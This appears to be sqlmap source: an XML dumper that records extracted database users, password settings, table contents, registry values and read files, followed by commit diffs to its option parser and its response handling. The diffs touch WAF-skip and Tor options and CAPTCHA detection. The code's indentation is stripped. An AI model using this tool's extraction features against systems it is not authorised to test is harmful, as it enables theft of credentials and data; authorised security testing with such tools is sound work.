DATABASE_COLUMNS_ELEM = "DB"
DB_TABLES_ELEM_NAME = "DBTables"
DB_TABLE_ELEM_NAME = "DBTable"
IS_DBA_ELEM_NAME = "isDBA"
FILE_CONTENT_ELEM_NAME = "FileContent"
DB_ATTR = "db"
UNKNOWN_COLUMN_TYPE = "unknown"
USER_SETTINGS_ELEM_NAME = "UserSettings"
USER_SETTING_ELEM_NAME = "UserSetting"
USERS_ELEM_NAME = "Users"
USER_ELEM_NAME = "User"
DB_USER_ELEM_NAME = "DBUser"
SETTINGS_ELEM_NAME = "Settings"
DBS_ELEM_NAME = "DBs"
DB_NAME_ELEM_NAME = "DBName"
DATABASE_ELEM_NAME = "Database"
TABLE_ELEM_NAME = "Table"
DB_TABLE_VALUES_ELEM_NAME = "DBTableValues"
DB_VALUES_ELEM = "DBValues"
QUERIES_ELEM_NAME = "Queries"
QUERY_ELEM_NAME = "Query"
REGISTERY_ENTRIES_ELEM_NAME = "RegistryEntries"
REGISTER_DATA_ELEM_NAME = "RegisterData"
DEFAULT_DB = "All"
MESSAGE_ELEM = "Message"
MESSAGES_ELEM_NAME = "Messages"
ERROR_ELEM_NAME = "Error"
LST_ELEM_NAME = "List"
LSTS_ELEM_NAME = "Lists"
CURRENT_USER_ELEM_NAME = "CurrentUser"
CURRENT_DB_ELEM_NAME = "CurrentDB"
MEMBER_ELEM = "Member"
ADMIN_USER = "Admin"
REGULAR_USER = "User"
STATUS_ELEM_NAME = "Status"
RESULTS_ELEM_NAME = "Results"
UNHANDLED_PROBLEM_TYPE = "Unhandled"
NAME_ATTR = "name"
TYPE_ATTR = "type"
VALUE_ATTR = "value"
SUCESS_ATTR = "success"
NAME_SPACE_ATTR = 'http://www.w3.org/2001/XMLSchema-instance'
XMLNS_ATTR = "xmlns:xsi"
SCHEME_NAME = "sqlmap.xsd"
SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation"
CHARACTERS_TO_ENCODE = range(32) + range(127, 256)
ENTITIES = {'"': '&quot;', "'": "&apos;"}
class XMLDump(object):
'''
This class purpose is to dump the data into an xml Format.
The format of the xml file is described in the scheme file xml/sqlmap.xsd
'''
def __init__(self):
self._outputFile = None
self._outputFP = None
self.__root = None
self.__doc = Document()
def _addToRoot(self, element):
'''
Adds element to the root element
'''
self.__root.appendChild(element)
def __write(self, data, n=True):
'''
Writes the data into the file
'''
if n:
self._outputFP.write("%s\n" % data)
else:
self._outputFP.write("%s " % data)
self._outputFP.flush()
kb.dataOutputFlag = True
def _getRootChild(self, elemName):
'''
Returns the child of the root with the described name
'''
elements = self.__root.getElementsByTagName(elemName)
if elements:
return elements[0]
return elements
def _createTextNode(self, data):
'''
Creates a text node with utf8 data inside.
The text is escaped to an fit the xml text Format.
'''
if data is None:
return self.__doc.createTextNode(u'')
else:
escaped_data = saxutils.escape(data, ENTITIES)
return self.__doc.createTextNode(escaped_data)
def _createAttribute(self, attrName, attrValue):
'''
Creates an attribute node with utf8 data inside.
The text is escaped to an fit the xml text Format.
'''
attr = self.__doc.createAttribute(attrName)
if attrValue is None:
attr.nodeValue = u''
else:
attr.nodeValue = getUnicode(attrValue)
return attr
def string(self, header, data, sort=True):
'''
Adds string element to the xml.
'''
if isinstance(data, (list, tuple, set)):
self.lister(header, data, sort)
return
messagesElem = self._getRootChild(MESSAGES_ELEM_NAME)
if (not(messagesElem)):
messagesElem = self.__doc.createElement(MESSAGES_ELEM_NAME)
self._addToRoot(messagesElem)
if data:
data = self._formatString(data)
else:
data = ""
elem = self.__doc.createElement(MESSAGE_ELEM)
elem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
elem.appendChild(self._createTextNode(data))
messagesElem.appendChild(elem)
def lister(self, header, elements, sort=True):
'''
Adds information formatted as list element
'''
lstElem = self.__doc.createElement(LST_ELEM_NAME)
lstElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
if elements:
if sort:
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower())
except:
pass
for element in elements:
memberElem = self.__doc.createElement(MEMBER_ELEM)
lstElem.appendChild(memberElem)
if isinstance(element, basestring):
memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
memberElem.appendChild(self._createTextNode(element))
elif isinstance(element, (list, tuple, set)):
memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "list"))
for e in element:
memberElemStr = self.__doc.createElement(MEMBER_ELEM)
memberElemStr.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
memberElemStr.appendChild(self._createTextNode(getUnicode(e)))
memberElem.appendChild(memberElemStr)
listsElem = self._getRootChild(LSTS_ELEM_NAME)
if not(listsElem):
listsElem = self.__doc.createElement(LSTS_ELEM_NAME)
self._addToRoot(listsElem)
listsElem.appendChild(lstElem)
def technic(self, technicType, data):
'''
Adds information about the technic used to extract data from the db
'''
technicElem = self.__doc.createElement(TECHNIC_ELEM_NAME)
technicElem.setAttributeNode(self._createAttribute(TYPE_ATTR, technicType))
textNode = self._createTextNode(data)
technicElem.appendChild(textNode)
technicsElem = self._getRootChild(TECHNICS_ELEM_NAME)
if not(technicsElem):
technicsElem = self.__doc.createElement(TECHNICS_ELEM_NAME)
self._addToRoot(technicsElem)
technicsElem.appendChild(technicElem)
def banner(self, data):
'''
Adds information about the database banner to the xml.
The banner contains information about the type and the version of the database.
'''
bannerElem = self.__doc.createElement(BANNER_ELEM_NAME)
bannerElem.appendChild(self._createTextNode(data))
self._addToRoot(bannerElem)
def currentUser(self, data):
'''
Adds information about the current database user to the xml
'''
currentUserElem = self.__doc.createElement(CURRENT_USER_ELEM_NAME)
textNode = self._createTextNode(data)
currentUserElem.appendChild(textNode)
self._addToRoot(currentUserElem)
def currentDb(self, data):
'''
Adds information about the current database is use to the xml
'''
currentDBElem = self.__doc.createElement(CURRENT_DB_ELEM_NAME)
textNode = self._createTextNode(data)
currentDBElem.appendChild(textNode)
self._addToRoot(currentDBElem)
def dba(self, isDBA):
'''
Adds information to the xml that indicates whether the user has DBA privileges
'''
isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME)
isDBAElem.setAttributeNode(self._createAttribute(VALUE_ATTR, getUnicode(isDBA)))
self._addToRoot(isDBAElem)
def users(self, users):
'''
Adds a list of the existing users to the xml
'''
usersElem = self.__doc.createElement(USERS_ELEM_NAME)
if isinstance(users, basestring):
users = [users]
if users:
for user in users:
userElem = self.__doc.createElement(DB_USER_ELEM_NAME)
usersElem.appendChild(userElem)
userElem.appendChild(self._createTextNode(user))
self._addToRoot(usersElem)
def dbs(self, dbs):
'''
Adds a list of the existing databases to the xml
'''
dbsElem = self.__doc.createElement(DBS_ELEM_NAME)
if dbs:
for db in dbs:
dbElem = self.__doc.createElement(DB_NAME_ELEM_NAME)
dbsElem.appendChild(dbElem)
dbElem.appendChild(self._createTextNode(db))
self._addToRoot(dbsElem)
def userSettings(self, header, userSettings, subHeader):
'''
Adds information about the user's settings to the xml.
The information can be user's passwords, privileges and etc..
'''
self._areAdmins = set()
userSettingsElem = self._getRootChild(USER_SETTINGS_ELEM_NAME)
if (not(userSettingsElem)):
userSettingsElem = self.__doc.createElement(USER_SETTINGS_ELEM_NAME)
self._addToRoot(userSettingsElem)
userSettingElem = self.__doc.createElement(USER_SETTING_ELEM_NAME)
userSettingElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
if isinstance(userSettings, (tuple, list, set)):
self._areAdmins = userSettings[1]
userSettings = userSettings[0]
users = userSettings.keys()
users.sort(key=lambda x: x.lower())
for user in users:
userElem = self.__doc.createElement(USER_ELEM_NAME)
userSettingElem.appendChild(userElem)
if user in self._areAdmins:
userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, ADMIN_USER))
else:
userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, REGULAR_USER))
settings = userSettings[user]
settings.sort()
for setting in settings:
settingsElem = self.__doc.createElement(SETTINGS_ELEM_NAME)
settingsElem.setAttributeNode(self._createAttribute(TYPE_ATTR, subHeader))
settingTextNode = self._createTextNode(setting)
settingsElem.appendChild(settingTextNode)
userElem.appendChild(settingsElem)
userSettingsElem.appendChild(userSettingElem)
def dbTables(self, dbTables):
'''
Adds information of the existing db tables to the xml
'''
if not isinstance(dbTables, dict):
self.string(TABLES_ELEM_NAME, dbTables)
return
dbTablesElem = self.__doc.createElement(DB_TABLES_ELEM_NAME)
for db, tables in dbTables.items():
tables.sort(key=lambda x: x.lower())
dbElem = self.__doc.createElement(DATABASE_ELEM_NAME)
dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db))
dbTablesElem.appendChild(dbElem)
for table in tables:
tableElem = self.__doc.createElement(DB_TABLE_ELEM_NAME)
tableElem.appendChild(self._createTextNode(table))
dbElem.appendChild(tableElem)
self._addToRoot(dbTablesElem)
def dbTableColumns(self, tableColumns):
'''
Adds information about the columns of the existing tables to the xml
'''
columnsElem = self._getRootChild(COLUMNS_ELEM_NAME)
if not(columnsElem):
columnsElem = self.__doc.createElement(COLUMNS_ELEM_NAME)
for db, tables in tableColumns.items():
if not db:
db = DEFAULT_DB
dbElem = self.__doc.createElement(DATABASE_COLUMNS_ELEM)
dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db))
columnsElem.appendChild(dbElem)
for table, columns in tables.items():
tableElem = self.__doc.createElement(TABLE_ELEM_NAME)
tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table))
colList = columns.keys()
colList.sort(key=lambda x: x.lower())
for column in colList:
colType = columns[column]
colElem = self.__doc.createElement(COLUMN_ELEM_NAME)
if colType is not None:
colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, colType))
else:
colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE))
colElem.appendChild(self._createTextNode(column))
tableElem.appendChild(colElem)
self._addToRoot(columnsElem)
def dbTableValues(self, tableValues):
'''
Adds the values of specific table to the xml.
The values are organized according to the relevant row and column.
'''
tableElem = self.__doc.createElement(DB_TABLE_VALUES_ELEM_NAME)
if (tableValues is not None):
db = tableValues["__infos__"]["db"]
if not db:
db = "All"
table = tableValues["__infos__"]["table"]
count = int(tableValues["__infos__"]["count"])
columns = tableValues.keys()
columns.sort(key=lambda x: x.lower())
tableElem.setAttributeNode(self._createAttribute(DB_ATTR, db))
tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table))
for i in range(count):
rowElem = self.__doc.createElement(ROW_ELEM_NAME)
tableElem.appendChild(rowElem)
for column in columns:
if column != "__infos__":
info = tableValues[column]
value = info["values"][i]
if re.search("^[\ *]*$", value):
value = "NULL"
cellElem = self.__doc.createElement(CELL_ELEM_NAME)
cellElem.setAttributeNode(self._createAttribute(COLUMN_ATTR, column))
cellElem.appendChild(self._createTextNode(value))
rowElem.appendChild(cellElem)
dbValuesElem = self._getRootChild(DB_VALUES_ELEM)
if (not(dbValuesElem)):
dbValuesElem = self.__doc.createElement(DB_VALUES_ELEM)
self._addToRoot(dbValuesElem)
dbValuesElem.appendChild(tableElem)
logger.info("Table '%s.%s' dumped to XML file" % (db, table))
def dbColumns(self, dbColumns, colConsider, dbs):
'''
Adds information about the columns
'''
for column in dbColumns.keys():
printDbs = {}
for db, tblData in dbs.items():
for tbl, colData in tblData.items():
for col, dataType in colData.items():
if column in col:
if db in printDbs:
if tbl in printDbs[db]:
printDbs[db][tbl][col] = dataType
else:
printDbs[db][tbl] = {col: dataType}
else:
printDbs[db] = {}
printDbs[db][tbl] = {col: dataType}
continue
self.dbTableColumns(printDbs)
def query(self, query, queryRes):
'''
Adds details of an executed query to the xml.
The query details are the query itself and its results.
'''
queryElem = self.__doc.createElement(QUERY_ELEM_NAME)
queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query))
queryElem.appendChild(self._createTextNode(queryRes))
queriesElem = self._getRootChild(QUERIES_ELEM_NAME)
if (not(queriesElem)):
queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME)
self._addToRoot(queriesElem)
queriesElem.appendChild(queryElem)
def registerValue(self, registerData):
'''
Adds information about an extracted registry key to the xml
'''
registerElem = self.__doc.createElement(REGISTER_DATA_ELEM_NAME)
registerElem.appendChild(self._createTextNode(registerData))
registriesElem = self._getRootChild(REGISTERY_ENTRIES_ELEM_NAME)
if (not(registriesElem)):
registriesElem = self.__doc.createElement(REGISTERY_ENTRIES_ELEM_NAME)
self._addToRoot(registriesElem)
registriesElem.appendChild(registerElem)
def rFile(self, filePath, data):
'''
Adds an extracted file's content to the xml
'''
fileContentElem = self.__doc.createElement(FILE_CONTENT_ELEM_NAME)
fileContentElem.setAttributeNode(self._createAttribute(NAME_ATTR, filePath))
fileContentElem.appendChild(self._createTextNode(data))
self._addToRoot(fileContentElem)
def setOutputFile(self):
'''
Initiates the xml file from the configuration.
'''
if (conf.xmlFile):
try:
self._outputFile = conf.xmlFile
self.__root = None
if os.path.exists(self._outputFile):
try:
self.__doc = xml.dom.minidom.parse(self._outputFile)
self.__root = self.__doc.childNodes[0]
except ExpatError:
self.__doc = Document()
self._outputFP = codecs.open(self._outputFile, "w+", UNICODE_ENCODING)
if self.__root is None:
self.__root = self.__doc.createElementNS(NAME_SPACE_ATTR, RESULTS_ELEM_NAME)
self.__root.setAttributeNode(self._createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR))
self.__root.setAttributeNode(self._createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME))
self.__doc.appendChild(self.__root)
except IOError:
raise SqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile)
def getOutputFile(self):
return self._outputFile
def finish(self, resultStatus, resultMsg=""):
'''
Finishes the dumper operation:
1. Adds the session status to the xml
2. Writes the xml to the file
3. Closes the xml file
'''
if ((self._outputFP is not None) and not(self._outputFP.closed)):
statusElem = self.__doc.createElement(STATUS_ELEM_NAME)
statusElem.setAttributeNode(self._createAttribute(SUCESS_ATTR, getUnicode(resultStatus)))
if not resultStatus:
errorElem = self.__doc.createElement(ERROR_ELEM_NAME)
if isinstance(resultMsg, Exception):
errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, type(resultMsg).__name__))
else:
errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE))
errorElem.appendChild(self._createTextNode(getUnicode(resultMsg)))
statusElem.appendChild(errorElem)
self._addToRoot(statusElem)
self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING))
self._outputFP.close()
def closeDumper(status, msg=""):
"""
Closes the dumper of the session
"""
if hasattr(conf, "dumper") and hasattr(conf.dumper, "finish"):
conf.dumper.finish(status, msg)
dumper = XMLDump()
+41 -25
View File
@@ -17,6 +17,7 @@ from optparse import SUPPRESS_HELP
from lib.core.common import checkDeprecatedOptions
from lib.core.common import checkSystemEncoding
from lib.core.common import dataToStdout
from lib.core.common import expandMnemonics
from lib.core.common import getUnicode
from lib.core.data import cmdLineOptions
@@ -30,6 +31,7 @@ from lib.core.settings import BASIC_HELP_ITEMS
from lib.core.settings import DUMMY_URL
from lib.core.settings import IS_WIN
from lib.core.settings import MAX_HELP_OPTION_LENGTH
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import VERSION_STRING
from lib.core.shell import autoCompletion
from lib.core.shell import clearHistory
@@ -46,7 +48,7 @@ def cmdLineParser(argv=None):
checkSystemEncoding()
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding())
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
"\"%s\"" % _ if " " in _ else _)
@@ -171,7 +173,7 @@ def cmdLineParser(argv=None):
help="Set Tor proxy port other than default")
request.add_option("--tor-type", dest="torType",
help="Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)")
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
request.add_option("--check-tor", dest="checkTor",
action="store_true",
@@ -464,6 +466,9 @@ def cmdLineParser(argv=None):
help="Exclude DBMS system databases when "
"enumerating tables")
enumeration.add_option("--pivot-column", dest="pivotColumn",
help="Pivot column name")
enumeration.add_option("--where", dest="dumpWhere",
help="Use WHERE condition while table dumping")
@@ -617,6 +622,9 @@ def cmdLineParser(argv=None):
action="store_true",
help="Never ask for user input, use the default behaviour")
general.add_option("--binary-fields", dest="binaryFields",
help="Result fields having binary values (e.g. \"digest\")")
general.add_option("--charset", dest="charset",
help="Force character encoding used for data retrieval")
@@ -662,9 +670,6 @@ def cmdLineParser(argv=None):
action="store_true",
help="Parse and display DBMS error messages from responses")
general.add_option("--pivot-column", dest="pivotColumn",
help="Pivot column name")
general.add_option("--save", dest="saveConfig",
help="Save options to a configuration INI file")
@@ -716,10 +721,6 @@ def cmdLineParser(argv=None):
action="store_true",
help="Make a thorough testing for a WAF/IPS/IDS protection")
miscellaneous.add_option("--skip-waf", dest="skipWaf",
action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection")
miscellaneous.add_option("--mobile", dest="mobile",
action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
@@ -736,12 +737,19 @@ def cmdLineParser(argv=None):
action="store_true",
help="Safely remove all content from output directory")
miscellaneous.add_option("--skip-waf", dest="skipWaf",
action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection")
miscellaneous.add_option("--smart", dest="smart",
action="store_true",
help="Conduct thorough tests only if positive heuristic(s)")
miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
help="Prompt for an interactive sqlmap shell")
help="Prompt for an interactive sqlmap shell")
miscellaneous.add_option("--tmp-dir", dest="tmpDir",
help="Local directory for storing temporary files")
miscellaneous.add_option("--wizard", dest="wizard",
action="store_true",
@@ -751,6 +759,9 @@ def cmdLineParser(argv=None):
parser.add_option("--dummy", dest="dummy", action="store_true",
help=SUPPRESS_HELP)
parser.add_option("--murphy-rate", dest="murphyRate", type="int",
help=SUPPRESS_HELP)
parser.add_option("--pickled-options", dest="pickledOptions",
help=SUPPRESS_HELP)
@@ -760,9 +771,6 @@ def cmdLineParser(argv=None):
parser.add_option("--profile", dest="profile", action="store_true",
help=SUPPRESS_HELP)
parser.add_option("--binary-fields", dest="binaryFields",
help=SUPPRESS_HELP)
parser.add_option("--force-dns", dest="forceDns", action="store_true",
help=SUPPRESS_HELP)
@@ -806,12 +814,12 @@ def cmdLineParser(argv=None):
parser.formatter._format_option_strings = parser.formatter.format_option_strings
parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser))
# Dirty hack for making a short option -hh
# Dirty hack for making a short option '-hh'
option = parser.get_option("--hh")
option._short_opts = ["-hh"]
option._long_opts = []
# Dirty hack for inherent help message of switch -h
# Dirty hack for inherent help message of switch '-h'
option = parser.get_option("-h")
option.help = option.help.capitalize().replace("this help", "basic help")
@@ -821,7 +829,7 @@ def cmdLineParser(argv=None):
extraHeaders = []
for arg in argv:
_.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
_.append(getUnicode(arg, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING))
argv = _
checkDeprecatedOptions(argv)
@@ -859,13 +867,13 @@ def cmdLineParser(argv=None):
continue
elif command.lower() == "clear":
clearHistory()
print "[i] history cleared"
dataToStdout("[i] history cleared\n")
saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
elif command.lower() in ("x", "q", "exit", "quit"):
raise SqlmapShellQuitException
elif command[0] != '-':
print "[!] invalid option(s) provided"
print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'"
dataToStdout("[!] invalid option(s) provided\n")
dataToStdout("[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n")
else:
saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
@@ -877,12 +885,12 @@ def cmdLineParser(argv=None):
except ValueError, ex:
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
# Hide non-basic options in basic help case
for i in xrange(len(argv)):
if argv[i] == "-hh":
argv[i] = "-h"
elif re.search(r"\A-\w=.+", argv[i]):
print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i]
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
raise SystemExit
elif argv[i] == "-H":
if i + 1 < len(argv):
extraHeaders.append(argv[i + 1])
@@ -904,14 +912,22 @@ def cmdLineParser(argv=None):
if not found:
parser.option_groups.remove(group)
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
try:
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
conf.verbose = verbosity.count('v') + 1
del argv[argv.index(verbosity)]
except (IndexError, ValueError):
pass
try:
(args, _) = parser.parse_args(argv)
except UnicodeEncodeError, ex:
print "\n[!] %s" % ex.object.encode("unicode-escape")
dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape"))
raise SystemExit
except SystemExit:
if "-h" in argv and not advancedHelp:
print "\n[!] to see full list of options run with '-hh'"
dataToStdout("\n[!] to see full list of options run with '-hh'\n")
raise
if extraHeaders:
@@ -932,7 +948,7 @@ def cmdLineParser(argv=None):
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
args.purgeOutput, args.pickledOptions, args.sitemapUrl)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
errMsg += "use -h for basic or -hh for advanced help"
errMsg += "use -h for basic or -hh for advanced help\n"
parser.error(errMsg)
return args
@@ -943,7 +959,7 @@ def cmdLineParser(argv=None):
except SystemExit:
# Protection against Windows dummy double clicking
if IS_WIN:
print "\nPress Enter to continue...",
dataToStdout("\nPress Enter to continue...")
raw_input()
raise
+9
View File
@@ -59,6 +59,13 @@ def htmlParser(page):
xmlfile = paths.ERRORS_XML
handler = HTMLHandler(page)
key = hash(page)
if key in kb.cache.parsedDbms:
retVal = kb.cache.parsedDbms[key]
if retVal:
handler._markAsErrorPage()
return retVal
parseXmlFile(xmlfile, handler)
@@ -68,6 +75,8 @@ def htmlParser(page):
else:
kb.lastParserStatus = None
kb.cache.parsedDbms[key] = handler.dbms
# generic SQL warning/error messages
if re.search(r"SQL (warning|error|syntax)", page, re.I):
handler._markAsErrorPage()
+4 -6
View File
@@ -14,6 +14,7 @@ from lib.core.data import conf
from lib.core.data import paths
from lib.core.datatype import AttribDict
from lib.core.exception import SqlmapInstallationException
from lib.core.settings import PAYLOAD_XML_FILES
def cleanupVals(text, tag):
if tag in ("clause", "where"):
@@ -74,7 +75,7 @@ def loadBoundaries():
try:
doc = et.parse(paths.BOUNDARIES_XML)
except Exception, ex:
errMsg = "something seems to be wrong with "
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
@@ -83,16 +84,13 @@ def loadBoundaries():
parseXmlNode(root)
def loadPayloads():
payloadFiles = os.listdir(paths.SQLMAP_XML_PAYLOADS_PATH)
payloadFiles.sort()
for payloadFile in payloadFiles:
for payloadFile in PAYLOAD_XML_FILES:
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
try:
doc = et.parse(payloadFilePath)
except Exception, ex:
errMsg = "something seems to be wrong with "
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
+43 -15
View File
@@ -13,6 +13,7 @@ import StringIO
import struct
import zlib
from lib.core.common import Backend
from lib.core.common import extractErrorMessage
from lib.core.common import extractRegexResult
from lib.core.common import getPublicTypeMembers
@@ -25,6 +26,8 @@ from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import cachedmethod
from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import PLACE
from lib.core.exception import SqlmapCompressionException
@@ -34,6 +37,7 @@ from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import META_CHARSET_REGEX
from lib.core.settings import PARSE_HEADERS_LIMIT
from lib.core.settings import SELECT_FROM_TABLE_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import VIEWSTATE_REGEX
from lib.parse.headers import headersParser
@@ -91,7 +95,7 @@ def forgeHeaders(items=None):
if cookie.domain_specified and not conf.hostname.endswith(cookie.domain):
continue
if ("%s=" % cookie.name) in headers[HTTP_HEADER.COOKIE]:
if ("%s=" % getUnicode(cookie.name)) in headers[HTTP_HEADER.COOKIE]:
if conf.loadCookies:
conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
elif kb.mergeCookies is None:
@@ -103,7 +107,7 @@ def forgeHeaders(items=None):
kb.mergeCookies = not _ or _[0] in ("y", "Y")
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (cookie.name, getUnicode(cookie.value))).replace('\\', r'\\'), x)
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
if PLACE.COOKIE in conf.parameters:
@@ -112,7 +116,7 @@ def forgeHeaders(items=None):
conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders]
elif not kb.testMode:
headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value))
headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value))
if kb.testMode and not any((conf.csrfToken, conf.safeUrl)):
resetCookieJar(conf.cj)
@@ -133,6 +137,7 @@ def parseResponse(page, headers):
if page:
htmlParser(page)
@cachedmethod
def checkCharEncoding(encoding, warn=True):
"""
Checks encoding name, repairs common misspellings and adjusts to
@@ -227,7 +232,10 @@ def getHeuristicCharEncoding(page):
Returns page encoding charset detected by usage of heuristics
Reference: http://chardet.feedparser.org/docs/
"""
retVal = detect(page)["encoding"]
key = hash(page)
retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
kb.cache.encoding[key] = retVal
if retVal:
infoMsg = "heuristics detected web page charset '%s'" % retVal
@@ -258,15 +266,16 @@ def decodePage(page, contentEncoding, contentType):
page = data.read()
except Exception, msg:
errMsg = "detected invalid data for declared content "
errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
singleTimeLogMessage(errMsg, logging.ERROR)
if "<html" not in page: # in some cases, invalid "Content-Encoding" appears for plain HTML (should be ignored)
errMsg = "detected invalid data for declared content "
errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
singleTimeLogMessage(errMsg, logging.ERROR)
warnMsg = "turning off page compression"
singleTimeWarnMessage(warnMsg)
warnMsg = "turning off page compression"
singleTimeWarnMessage(warnMsg)
kb.pageCompress = False
raise SqlmapCompressionException
kb.pageCompress = False
raise SqlmapCompressionException
if not conf.charset:
httpCharset, metaCharset = None, None
@@ -330,11 +339,16 @@ def processResponse(page, responseHeaders):
parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
else:
kb.tableFrom = None
if conf.parseErrors:
msg = extractErrorMessage(page)
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg)
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if kb.originalPage is None:
for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
@@ -344,9 +358,23 @@ def processResponse(page, responseHeaders):
if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
if conf.paramDict[PLACE.POST][name] in page:
continue
conf.paramDict[PLACE.POST][name] = value
else:
msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
if readInput(msg, default='N').strip().upper() != 'Y':
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
break
if re.search(BLOCKED_IP_REGEX, page):
errMsg = "it appears that you have been blocked by the target server"
singleTimeLogMessage(errMsg, logging.ERROR)
warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg)
+28 -49
View File
@@ -21,10 +21,12 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
from lib.core.settings import DIFF_TOLERANCE
from lib.core.settings import HTML_TITLE_REGEX
from lib.core.settings import MIN_RATIO
